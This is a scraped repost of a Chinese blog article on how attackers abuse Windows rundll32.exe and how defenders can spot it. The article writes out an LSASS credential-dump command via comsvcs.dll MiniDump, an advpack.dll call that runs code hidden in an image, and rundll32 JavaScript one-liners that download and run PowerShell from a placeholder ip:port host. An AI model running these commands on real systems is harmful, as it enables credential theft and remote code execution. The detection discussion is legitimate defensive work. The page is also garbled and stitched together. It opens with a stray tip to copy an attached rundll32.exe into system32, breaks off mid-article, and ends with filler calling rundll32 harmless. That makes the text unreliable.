前沿拓展:
rundll32
传一个给你,拷到c:windowssystem32里看看。
附件:rundll32.exe
前言
要做好检测能力,必须得熟悉你的系统环境,只有足够了解正常行为,才能真正找出异常(Anomaly)和威胁(Threat)
在上篇文章中介绍 CS 的一些行为特征时,经常提及 rundll32.exe,哪怕非安全人员,可能对该进程都不陌生
顾名思义,rundll32.exe 可用于执行 DLL 文件,也能调用该文件中的内部函数
它的历史差不多能追溯到 Windows 95,几乎是所有 Windows **作系统的必需组件,不能轻易地被禁用
攻击者可以借助 rundll32.exe 加载 DLL 文件中的恶意代码,避免像其它 EXE 文件一样直接在进程树中现行
另外,攻击者还可能滥用合法 DLL 文件中的导出函数,比如待会儿就会介绍到的 comsvcs.dll 和 MiniDump
除了加载 DLL 文件,rundll32.exe 还能通过 RunHtmlApplication 函数执行 JavaScript
正因为这些特性,rundll32.exe 很容易博得攻击者的青睐,在攻击技术流行度中常常名列前茅
常用场景
对于 rundll32.exe,最简单粗暴的用法当然是直接指定文件名称,执行目标 DLL:
— rundll32.exe <dllname>
当然,在我们日常使用**作系统的过程中,见得最多的可能是通过 rundll32.exe 调用某些 DLL 文件中的特定函数这一行为:
— rundll32.exe <dllname>,<entrypoint> <optional arguments>
譬如,在我们右键点击某文档,选择特定的“打开方式”,第二会弹出个窗口供我们指定用于打开的应用程序,实际上就相当于在后台执行了以下命令:
— C:WindowsSystem32rundll32.exe C:WindowsSystem32shell32.dll,OpenAs_RunDLL <file_path>
拿修改 hosts 文件举个例子,通过 WIN+R 执行以下命令,即可弹出该选择窗口:
— C:WindowsSystem32rundll32.exe C:WindowsSystem32shell32.dll,OpenAs_RunDLL C:WindowsSystem32driversetchosts
类似行为在我们的日志中呈现出来通常会是这么个模样:
关于 shell32.dll,比较常见的函数还有 Control_RunDLL 和 Control_RunDLLAsUser,它们可以用于运行 .CPL 文件,一般主要是控制面板中的小程序
例如打开防火墙: C:WINDOWSSystem32rundll32.exe C:WINDOWSSystem32shell32.dll,Control_RunDLL C:WINDOWSSystem32firewall.cpl
很显然,这里的 CPL 文件也可以被替换成恶意文件,所以一旦出现可疑的路径及文件名,我们就需要结合其它工具来检查它的合法性
关于这一攻击手法的使用细节,这篇 Paper 值得一读,本文就不展开阐述了
另外附上一张表格链接,其中包含了 Windows 10 上 rundll32.exe 可快速调用的命令清单及其功能含义
毕竟人生苦短,大家都没时间去记住那么多命令,但是不妨先 mark 一下,等到有需要时可以迅速查出其含义
攻击方式
借助 rundll32.exe 实现的攻击方式非常多,这里我只简单介绍几种比较有特色的利用姿势
合法的DLL调用
攻击者如果使用合法的 DLL 文件来完成攻击活动,按照传统的检测手段,确实会大大增加防守难度
例如利用 comsvcs.dll 中的 MiniDump 函数对目标进程进行内存转储,从而实现凭证窃取,参考这里:
— C:WindowsSystem32rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump <PID> C:templsass.dmp full
类似的还有 a**pack.dll,原本是用于帮助硬件和软件读取和验证.INF文件,也会被攻击者用做代码执行
印象比较深刻的是之前分析一些木马**时见过类似的使用技巧,特意搜了下,这里好像也有相关文章:
该**在图片中存放恶意代码,通过白利用完成代码执行,不熟悉的小伙伴遇见了真的很容易被瞒过去:
— c:windowssystem32rundll32.exe a**pack.dll,LaunchINFSection c:microsoft360666.png,DefaultInstall
当然,这些攻击手法在实际使用过程中肯定会有许多变种,用于绕过一些常规的检测方式,比如 MiniDump 函数的调用也可以通过编号 #24 完成
感兴趣的朋友可以看看这里:
远程代码加载
除了本地加载之外,rundll32.exe 也可以通过 RunHtmlApplication 函数执行 JavaScript 以实现远程代码加载,例如:
— rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
— rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/XXX/XXX")
值得一提的是,根据笔者的观察,目前还没怎么看到日常活动中关于 javasciprt 关键字的合理使用场景,所以通常我会直接将该特征加入检测模型
想深入了解这一攻击手法,更多内容可以看看这篇文章
滥用COM组件
关于 rundll32.exe 还有一些比较少见的命令行参数 ———— -sta 和 -localserver,它们俩都能用来加载恶意注册的 COM 组件
登上自家的 SIEM 去看看,说不定也能够发现以下活动(至少我确实根据相关数据狩猎到了一些有意思的活动:P)
— rundll32.exe –localserver <CLSID_GUID>— rundll32.exe –sta <CLSID_GUID>
对 COM 组件不熟悉的童鞋可能需要先得去补补课,比如 ATT&CK 在持久化阶段中提及到的 T1546.015-Component Object Model Hijacking
简单来讲,当我们看到类似的命令行参数时,最好先去看看对应注册表下的键值对是否包含恶意的 DLL 文件或 SCT 脚本
它们通常在这个位置:HKEY_CLASSES_ROOTCLSID<GUID>,可结合下图食用
关于具体的利用原理和攻击细节可以看看这里,还有这篇文章中提到的使用 -localserver 作为攻击变种的使用姿势
检测技巧命令行检测
第一让我们一起回顾一遍 rundll32.exe 的基本使用方法:
— rundll32.exe <dllname>,<entrypoint> <optional arguments>
从 rundll32 的文件位置开始,我们可以设定一条最基础的检测规则,因为它通常只有以下两种选择:
– C:WindowsSystem32rundll32.exe
– C:WindowsSysWOW64rundll32.exe (32bit version on 64bit systems)
虽然简单,但也不并一定完全无用武之地:
接着,让我们开始关注 DLL 文件和导出函数
通过前文的介绍,我们应该能达成共识:原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/263193安全客 – 有思想的安全新媒体
拓展知识:
rundll32
rundll32是重要系统动态链接库文件,主要是控制面板调用。这个很正常,不用关心它。
原创文章,作者:九贤生活小编,如若转载,请注明出处:http://www.wangguangwei.com/22154.html